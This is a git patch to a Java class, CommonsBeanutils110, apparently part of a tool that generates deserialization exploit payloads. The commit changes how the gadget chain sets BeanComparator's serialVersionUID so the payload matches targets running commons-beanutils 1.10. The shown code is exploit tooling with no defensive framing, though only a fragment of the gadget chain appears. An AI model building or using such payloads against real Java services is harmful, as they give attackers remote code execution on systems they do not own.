From 3ccbd14256b3409e08b448da7d264cca1a70481e Mon Sep 17 00:00:00 2001 From: ReaJason Date: Wed, 19 Feb 2025 20:55:46 +0800 Subject: [PATCH] fix: cb110 serializeVersionUID change failed --- .../javaweb/deserialize/payload/CommonsBeanutils110.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/CommonsBeanutils110.java b/deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/CommonsBeanutils110.java index fcc69771..74f159cd 100644 --- a/deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/CommonsBeanutils110.java +++ b/deserialize/src/main/java/com/reajason/javaweb/deserialize/payload/CommonsBeanutils110.java @@ -28,7 +28,7 @@ public class CommonsBeanutils110 implements Payload { public Object generate(byte[] bytes) { Object comparator = new ByteBuddy() .redefine(BeanComparator.class) - .field(named("serialVersionUID")) + .defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL) .value(1L).make() .load(new URLClassLoader(new URL[]{}), ClassLoadingStrategy.Default.INJECTION).getLoaded() .getDeclaredConstructor(String.class, Comparator.class)